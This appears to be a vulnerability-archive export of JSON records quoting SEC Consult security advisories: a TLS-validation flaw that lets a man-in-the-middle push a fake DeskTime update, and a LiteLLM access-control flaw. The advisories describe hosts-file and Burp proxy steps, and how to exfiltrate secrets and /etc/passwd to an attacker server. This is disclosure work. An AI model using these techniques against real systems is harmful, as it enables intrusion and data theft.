Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260427-0",
          "vendor": "Desktime",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Update 2026-04-28:* The vendor contacted us and now provides a patched version v1.3.674 which can be obtained at the \nfollowing URL:\n\nhttps://desktime.com/download\n\n\n\nOn 4/27/26 12:53, SEC Consult Vulnerability Lab wrote:\n\nSEC Consult Vulnerability Lab Security Advisory \u003c 20260427-0 \u003e\n=======================================================================\n               title: Missing TLS Certificate Validation leading to RCE\n             product: DeskTime Time Tracking App\n  vulnerable version: 1.3.671\n       fixed version: -\n          CVE number: CVE-2025-10539\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n            homepage:https://desktime.com\n               found: 2025-05-23\n                  by: Daniel Hirschberger\n                      Thorger Jansen (Office Bochum)\n                      Tobias Niemann (Office Bochum)\n                      Marius Renner (Office Bochum)\n                      SEC Consult Vulnerability Lab\n\n                      An integrated part of SEC Consult, an Atos business\n                      Europe | Asia\n\n                      https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"A time tracker that won\u0027t interrupt your team\u0027s workflow. Ever.\nDeskTime is an automatic time tracking tool that will help you increase\ntransparency in your team, enable easy hybrid work, and optimize work hours.\"\n\nSource:https://desktime.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor did not provide a patch nor a timeline when a fix will be available.\nIn case you are using this product, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends performing a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing TLS Certificate Validation leading to RCE (CVE-2025-10539)\nDue to missing TLS Certificate Validation, attackers, who can inject themselves\ninto the network path between the client and the DeskTime update servers, can\nreturn a malicious executable in response to an update request and achieve\nuser-level code execution on the client.\n\n\nProof of concept:\n-----------------\n1) Missing TLS Certificate Validation leading to RCE (CVE-2025-10539)\nThe DeskTime application periodically checks if there is an update for itself.\nThis is done via an HTTPS URL, but the server certificate is not checked\ncorrectly.\n\nThe certificate validation is implemented as follows:\n\n\u003ccert_validation.png\u003e\n\nThere are two possibilities to pass the certificate checks:\n1. There are no errors during the certificate validation\n2. The request was made by the class `HttpWebRequest` and\n    the used certificate is object of the class `X509Certificate2` and\n    the SSLPolicyError has the value `RemoteCertificateChainErrors`.\n\n2) should be further scrutinized.\n\nThe .NET documentation for SSLPolicyErrors shows that this enum has the\nfollowing values and meanings:\nhttps://learn.microsoft.com/en-us/dotnet/api/system.net.security.sslpolicyerrors\n\nNone = No SSL policy errors.\nRemoteCertificateNotAvailable = Certificate not available.\nRemoteCertificateNameMismatch = Certificate name mismatch.\nRemoteCertificateChainErrors = ChainStatus has returned a non empty array.\n\nThis means that as long as any certificate is provided by the server and that it\nis issued for the expected hostname, it does not matter if there are any errors\nin the validation of the certificate chain.\nThis effectively allows man-in-the-middle attacks by using self-signed\ncertificates.\n\nTo validate this finding on the machine where DeskTime is installed, the\nfollowing steps have to be performed.\n\nAdd an entry for `desktime.com` to `C:\\Windows\\System32\\drivers\\etc\\hosts` and\npoint it to localhost:\n\n--------------------------------------------------------------------------------\n127.0.0.1 desktime.com\n--------------------------------------------------------------------------------\n\nCreate a listener in Burp Proxy on port `443`, enable `Force use of TLS` and\n`Invisible Proxy support`.\n\n\u003cburp_request_handling.png\u003e\n\nSince desktime.com now points to 127.0.0.1 because of the modification of the\nhosts file, we have to create a static DNS override in Burp to let the hostname\n`desktime.com` resolve to the real upstream IP.\n\n\u003cburp_dns_override.png\u003e\n\nWhen DeskTime is started now, the Burp HTTP history shows all client requests.\n\n\u003cburp_requests.png\u003e\n\nIf the update function is triggered, a request containing the currently\ninstalled version, the userID and some other parameters, is sent to the server.\n\n\u003cupdate_request.png\u003e\n\nThe server responds with the version of the installer that it currently hosts,\nas well as a link to that version.\n\n\u003cupdate_response.png\u003e\n\nIf the returned version is greater than the one installed on the client machine,\nit is automatically downloaded and installed in the current user context.\n\nBy performing the mentioned man-in-the-middle attack, it is therefore possible\nto achieve Remote Code Execution.\n\nFor example, the following Burp Response Rewrite Rule can be used to\nautomatically refer the client to another update.\n\n\u003creplace_rule.png\u003e\n\nIn this case, the client is redirected to a locally hosted copy of the Windows\ncalculator `calc.exe`.\n\n\u003cmalicious_update.webm\u003e\n\nSince the updater triggers automatically every hour, no user interaction is\nnecessary to exploit this vulnerability.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.3.671\n\n\nVendor contact timeline:\n------------------------\n2025-06-26: Contacting vendor throughsupport () desktime com;\n             Vendor asks to send advisory information unencrypted;\n             We send the advisory.\n2025-07-02: Vendor states that this is a duplicate and they are already\n             aware.\n2025-07-03: We ask for a timeline for the remediation and about\n             assigning a CVE number.\n2025-07-17: Vendor responds that it will take some time to patch this\n             issue.\n             We respond that we can create a CVE number and ask them\n             to notify us once the patch is released.\n2025-07-18: Vendor informs us that the next public version will include\n             the fix, but no timeline was provided\n2025-09-16: Reserved CVE-2025-10539, asking for a status update;\n             Vendor responds that this security issue \"can\u0027t be used under\n             standard circumstances, and very specific conditions must be met\".\n             It is included in future update, but no timeline provided.\n             Support agent closes the ticket;\n             We ask if the advisory can be published since \"the vulnerability\n             can not be exploited under standard circumstances\";\n             Vendor wants to double check with their team.\n2025-09-18: Vendor asks for deadline extension.\n2025-09-23: We reply that our 50 day deadline was over on 2025-08-15 and\n             that the industry standard of 90 days will be over (tomorrow)\n             on 2025-09-24. We add that we can delay the publication if\n             they can provide a timeline for the fix and if they are not\n             able to fix it before then for important reasons.\n2025-09-16: Vendor has to clarify the release internally.\n2025-09-18: Vendor asks what timeframe we can give them.\n2025-09-23: We re-iterate our timeframes from the Responsible\n             Disclosure Policy and note that the 90-day standard\n             timeframe is over tomorrow.\n2025-09-23: Vendor asks internally for timeline but forecasts\n             end of this year.\n2025-10-06: Vendor wants to delay developing a fix since the\n             probability for exploitation is low, the fix is\n             scheduled to be delivered in a bigger update in Q1 2026.\n2025-10-15: We agree that the vulnerability is not easy to exploit\n             and lower the risk to medium. Since it is now rated\n             medium and we assume that the fix is trivial, we do not\n             agree with waiting until Q1.\n2025-11-14: The vendor plans to have a fix ready on 2025-12-08.\n2026-03-26: Following up whether everything is fixed by now; explaining delays\n             on our side. Vendor will clarify progress internally.\n2026-04-14: Asking for a status update again. Vendor tells us that the issue\n             is more complex than expected, they need more time. Informing them\n             about the planned release on 23rd April, as we have given them nearly\n             a year of patching time. Vendor responds that they are taking our\n             plan into consideration.\n2026-04-27: Release of security advisory.\n\n\nSolution:\n---------\nThe vendor did not provide a patch nor a timeline when a fix will be available.\nIn case you are using this product, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cybersecurity with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Daniel Hirschberger, Thorger Jansen, Tobias Niemann, Marius Renner / @2026\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:38:52Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/21"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://desktime.com"
        },
        {
          "url": "https://desktime.com/"
        },
        {
          "url": "https://desktime.com/download"
        },
        {
          "url": "https://learn.microsoft.com/en-us/dotnet/api/system.net.security.sslpolicyerrors"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Re: SEC Consult SA-20260427-0 :: Missing TLS Certificate Validation leading to RCE in DeskTime Time Tracking App",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-10539",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0271",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/21",
            "automated": true,
            "contentSha256": "e0bcd8b1d0aa5b88e51391b0fbb72f0c5faf0c842cdb3324ddd8200d350af903",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-28T06:55:00Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0271"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-11T07:38:52Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0271"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260427-0",
          "vendor": "Desktime",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260427-0 \u003e\n=======================================================================\n              title: Missing TLS Certificate Validation leading to RCE\n            product: DeskTime Time Tracking App\n vulnerable version: 1.3.671\n      fixed version: -\n         CVE number: CVE-2025-10539\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://desktime.com\n              found: 2025-05-23\n                 by: Daniel Hirschberger\n                     Thorger Jansen (Office Bochum)\n                     Tobias Niemann (Office Bochum)\n                     Marius Renner (Office Bochum)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"A time tracker that won\u0027t interrupt your team\u0027s workflow. Ever.\nDeskTime is an automatic time tracking tool that will help you increase\ntransparency in your team, enable easy hybrid work, and optimize work hours.\"\n\nSource:https://desktime.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor did not provide a patch nor a timeline when a fix will be available.\nIn case you are using this product, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends performing a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing TLS Certificate Validation leading to RCE (CVE-2025-10539)\nDue to missing TLS Certificate Validation, attackers, who can inject themselves\ninto the network path between the client and the DeskTime update servers, can\nreturn a malicious executable in response to an update request and achieve\nuser-level code execution on the client.\n\n\nProof of concept:\n-----------------\n1) Missing TLS Certificate Validation leading to RCE (CVE-2025-10539)\nThe DeskTime application periodically checks if there is an update for itself.\nThis is done via an HTTPS URL, but the server certificate is not checked\ncorrectly.\n\nThe certificate validation is implemented as follows:\n\n\u003ccert_validation.png\u003e\n\nThere are two possibilities to pass the certificate checks:\n1. There are no errors during the certificate validation\n2. The request was made by the class `HttpWebRequest` and\n   the used certificate is object of the class `X509Certificate2` and\n   the SSLPolicyError has the value `RemoteCertificateChainErrors`.\n\n2) should be further scrutinized.\n\nThe .NET documentation for SSLPolicyErrors shows that this enum has the\nfollowing values and meanings:\nhttps://learn.microsoft.com/en-us/dotnet/api/system.net.security.sslpolicyerrors\n\nNone = No SSL policy errors.\nRemoteCertificateNotAvailable = Certificate not available.\nRemoteCertificateNameMismatch = Certificate name mismatch.\nRemoteCertificateChainErrors = ChainStatus has returned a non empty array.\n\nThis means that as long as any certificate is provided by the server and that it\nis issued for the expected hostname, it does not matter if there are any errors\nin the validation of the certificate chain.\nThis effectively allows man-in-the-middle attacks by using self-signed\ncertificates.\n\nTo validate this finding on the machine where DeskTime is installed, the\nfollowing steps have to be performed.\n\nAdd an entry for `desktime.com` to `C:\\Windows\\System32\\drivers\\etc\\hosts` and\npoint it to localhost:\n\n--------------------------------------------------------------------------------\n127.0.0.1 desktime.com\n--------------------------------------------------------------------------------\n\nCreate a listener in Burp Proxy on port `443`, enable `Force use of TLS` and\n`Invisible Proxy support`.\n\n\u003cburp_request_handling.png\u003e\n\nSince desktime.com now points to 127.0.0.1 because of the modification of the\nhosts file, we have to create a static DNS override in Burp to let the hostname\n`desktime.com` resolve to the real upstream IP.\n\n\u003cburp_dns_override.png\u003e\n\nWhen DeskTime is started now, the Burp HTTP history shows all client requests.\n\n\u003cburp_requests.png\u003e\n\nIf the update function is triggered, a request containing the currently\ninstalled version, the userID and some other parameters, is sent to the server.\n\n\u003cupdate_request.png\u003e\n\nThe server responds with the version of the installer that it currently hosts,\nas well as a link to that version.\n\n\u003cupdate_response.png\u003e\n\nIf the returned version is greater than the one installed on the client machine,\nit is automatically downloaded and installed in the current user context.\n\nBy performing the mentioned man-in-the-middle attack, it is therefore possible\nto achieve Remote Code Execution.\n\nFor example, the following Burp Response Rewrite Rule can be used to\nautomatically refer the client to another update.\n\n\u003creplace_rule.png\u003e\n\nIn this case, the client is redirected to a locally hosted copy of the Windows\ncalculator `calc.exe`.\n\n\u003cmalicious_update.webm\u003e\n\nSince the updater triggers automatically every hour, no user interaction is\nnecessary to exploit this vulnerability.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.3.671\n\n\nVendor contact timeline:\n------------------------\n2025-06-26: Contacting vendor throughsupport () desktime com;\n            Vendor asks to send advisory information unencrypted;\n            We send the advisory.\n2025-07-02: Vendor states that this is a duplicate and they are already\n            aware.\n2025-07-03: We ask for a timeline for the remediation and about\n            assigning a CVE number.\n2025-07-17: Vendor responds that it will take some time to patch this\n            issue.\n            We respond that we can create a CVE number and ask them\n            to notify us once the patch is released.\n2025-07-18: Vendor informs us that the next public version will include\n            the fix, but no timeline was provided\n2025-09-16: Reserved CVE-2025-10539, asking for a status update;\n            Vendor responds that this security issue \"can\u0027t be used under\n            standard circumstances, and very specific conditions must be met\".\n            It is included in future update, but no timeline provided.\n            Support agent closes the ticket;\n            We ask if the advisory can be published since \"the vulnerability\n            can not be exploited under standard circumstances\";\n            Vendor wants to double check with their team.\n2025-09-18: Vendor asks for deadline extension.\n2025-09-23: We reply that our 50 day deadline was over on 2025-08-15 and\n            that the industry standard of 90 days will be over (tomorrow)\n            on 2025-09-24. We add that we can delay the publication if\n            they can provide a timeline for the fix and if they are not\n            able to fix it before then for important reasons.\n2025-09-16: Vendor has to clarify the release internally.\n2025-09-18: Vendor asks what timeframe we can give them.\n2025-09-23: We re-iterate our timeframes from the Responsible\n            Disclosure Policy and note that the 90-day standard\n            timeframe is over tomorrow.\n2025-09-23: Vendor asks internally for timeline but forecasts\n            end of this year.\n2025-10-06: Vendor wants to delay developing a fix since the\n            probability for exploitation is low, the fix is\n            scheduled to be delivered in a bigger update in Q1 2026.\n2025-10-15: We agree that the vulnerability is not easy to exploit\n            and lower the risk to medium. Since it is now rated\n            medium and we assume that the fix is trivial, we do not\n            agree with waiting until Q1.\n2025-11-14: The vendor plans to have a fix ready on 2025-12-08.\n2026-03-26: Following up whether everything is fixed by now; explaining delays\n            on our side. Vendor will clarify progress internally.\n2026-04-14: Asking for a status update again. Vendor tells us that the issue\n            is more complex than expected, they need more time. Informing them\n            about the planned release on 23rd April, as we have given them nearly\n            a year of patching time. Vendor responds that they are taking our\n            plan into consideration.\n2026-04-27: Release of security advisory.\n\n\nSolution:\n---------\nThe vendor did not provide a patch nor a timeline when a fix will be available.\nIn case you are using this product, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cybersecurity with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Daniel Hirschberger, Thorger Jansen, Tobias Niemann, Marius Renner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:38:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/20"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://desktime.com"
        },
        {
          "url": "https://desktime.com/"
        },
        {
          "url": "https://learn.microsoft.com/en-us/dotnet/api/system.net.security.sslpolicyerrors"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260427-0 :: Missing TLS Certificate Validation leading to RCE in DeskTime Time Tracking App",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-10539",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0237",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/20",
            "automated": true,
            "contentSha256": "e4037d0dfa5b0b431b8c66c39d3b0b13a6f3a23f4d173d3c6ab8c9fcf7aae286",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-27T10:53:17Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0237"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-11T07:38:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0237"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260421-0",
          "vendor": "Litellm",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260421-0 \u003e\n=======================================================================\n              title: Broken Access Control in Config Endpoint\n            product: LiteLLM\n vulnerable version: \u003c=v1.83.0\n\u00a0 \u00a0 \u00a0 fixed version: v1.83.0-nightly\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-35029\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.litellm.ai/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-24\n                 by: Timo M\u00fcller (Office Munich)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"AI Gateway to provide model access, fallbacks and spend tracking across 100+\nLLMs. All in the OpenAI format.\"\n\nSource:https://www.litellm.ai/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control in Config Endpoint (CVE-2026-35029)\nLiteLLM exposes a /config/update API endpoint that allows administrators to\nmake configuration changes to the instance. Due to a missing authorization\ncheck, low-privileged users can access this endpoint without restriction.\nAn attacker with a low-privileged account can exploit this to exfiltrate\nenvironment variables and read arbitrary files within the context of the\nLiteLLM application.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control in Config Endpoint (CVE-2026-35029)\nThe vulnerability exists because the update_config function, which handles the\n/config/update route, does not check whether the requesting user has\nadministrative permissions.\n\nThe vulnerable function can be seen \nhere:https://github.com/BerriAI/litellm/blob/47c24ef8ae1b6c77827491437b3e3ed143c1e77f/litellm/proxy/proxy_server.py#L11337-L11481\n\nThe following screenshot illustrates a request sent by a regular user without\nadministrative privileges. The exploit leverages \"Pass Through Endpoints\",\nwhich allow administrators to route requests from the LiteLLM proxy to\nany external API.\n\nPass Through Endpoints:https://docs.litellm.ai/docs/proxy/pass_through\n\nThe request contains the following parameters:\n\n* path - defines the path under which the pass through endpoint is created\n* target - the attacker-controlled server to which requests are routed\n           (i.e. the exfiltration server receiving sensitive data)\n* headers - a list of headers containing the exfiltrated data, populated by\n            LiteLLM before routing the request to the attacker-controlled server\n\nThe \"X-DB-URL\" header retrieves the DATABASE_URL environment variable from the\nLiteLLM environment. The LANGFUSE* headers are used to exfiltrate files from\nthe LiteLLM host system. Specifically, these headers are chosen because LiteLLM\nbase64-encodes any values passed to them.\n\nLANGFUSE* header \nencoding:https://github.com/BerriAI/litellm/blob/47c24ef8ae1b6c77827491437b3e3ed143c1e77f/litellm/proxy/pass_through_endpoints/pass_through_endpoints.py#L100-L115\n\n\u003c10_exploit.png\u003e\n\nOnce the configuration is set, the pass through route update can take several\nminutes. After this wait time, the attacker triggers exfiltration by calling the\nendpoint. The exfiltration request is shown in the following screenshot.\nPlease note that the LiteLLM response contains the response data from the\nexfiltration server.\n\n\u003c20_exfil.png\u003e\n\nThe following screenshot illustrates the successful exploitation of this issue,\nshowing the request received by the attacker-controlled server from the\nLiteLLM instance. The DATABASE_URL environment variable is visible highlighted\nwithin the server header, and the contents of /etc/passwd are included in\nbase64-encoded form within the Authorization header.\n\n\u003c30_content.png\u003e\n\nDecoding the base64-encoded Authorization header reveals the contents of\nthe /etc/passwd file from the LiteLLM host system:\n\n\u003c40_decoded.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.81.12\n\n\nVendor contact timeline:\n------------------------\n2026-02-26: Contacting vendor throughsupport () berri ai.\n2026-03-10: Inquiry sent to verify whether the vendor has\n            received and analysed the advisory.\n2026-03-10: BerriAI confirms receipt of the advisory and\n            loops in engineers for vulnerability analysis.\n2026-04-01: A security patch for the reported vulnerability\n            is released on the nightly build.\n2026-04-01: Vendor contacted for additional details\n            to coordinate advisory disclosure.\n2026-04-03: A CVE is assigned to the vulnerability and it is disclosed\n            without further coordination through the GitHub\n            security page of LiteLLM.\n2026-04-07: A draft version of the advisory is sent to the vendor\n            in preparation of the advisory release.\n2026-04-14: The vendor is informed that the advisory will be released\n            the upcoming week.\n2026-04-14: The vendor validates the submitted draft advisory\n            and confirms the planned release.\n2026-04-21: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides a patched version v1.83.0-nightly which can be\ndownloaded from their website:\nhttps://github.com/BerriAI/litellm/releases\n\nFix commit:https://github.com/BerriAI/litellm/commit/57c05459ae9b4e607bfb35228ec13a3ee8586ce4\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Timo M\u00fcller / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:38:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/17"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://docs.litellm.ai/docs/proxy/pass_through"
        },
        {
          "url": "https://github.com/BerriAI/litellm/blob/47c24ef8ae1b6c77827491437b3e3ed143c1e77f/litellm/proxy/pass_through_endpoints/pass_through_endpoints.py#L100-L115"
        },
        {
